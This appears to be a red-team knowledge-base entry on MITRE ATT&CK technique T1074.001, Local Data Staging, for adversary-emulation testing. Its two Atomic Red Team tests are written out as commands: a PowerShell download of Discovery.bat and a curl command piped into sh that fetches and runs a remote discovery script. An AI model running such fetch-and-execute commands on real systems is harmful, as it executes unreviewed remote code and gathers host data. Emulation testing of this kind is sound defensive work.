t1074-001-local-data-staging

name	T1074.001_local-data-staging
description	Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration.
category	information-gathering
version	18.1
author	cyberstrike-official
tags	["mitre-attack","enterprise","t1074.001","collection","esxi","linux","macos","windows","sub-technique"]
technique_id	T1074.001
tactic	collection
all_tactics	["collection"]
platforms	["ESXi","Linux","macOS","Windows"]
mitre_url	https://attack.mitre.org/techniques/T1074/001
tech_stack	["esxi","linux","macos","windows"]
cwe_ids	["CWE-200"]
chains_with	["T1074","T1074.002"]
prerequisites	["T1074"]
severity_boost	{"T1074":"Chain with T1074 for deeper attack path","T1074.002":"Chain with T1074.002 for deeper attack path"}

T1074.001 Local Data Staging

Sub-technique of: T1074

High-Level Description

Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.

Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.

Kill Chain Phase

• Collection (TA0009)

Platforms: ESXi, Linux, macOS, Windows

What to Check

• Identify if Local Data Staging technique is applicable to target environment
• Check ESXi systems for indicators of Local Data Staging
• Check Linux systems for indicators of Local Data Staging
• Check macOS systems for indicators of Local Data Staging
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution, verify that the file is saved in the temp directory.

Supported Platforms: windows

Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}

Atomic Test 2: Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

Supported Platforms: linux, macos

curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}

Dependencies: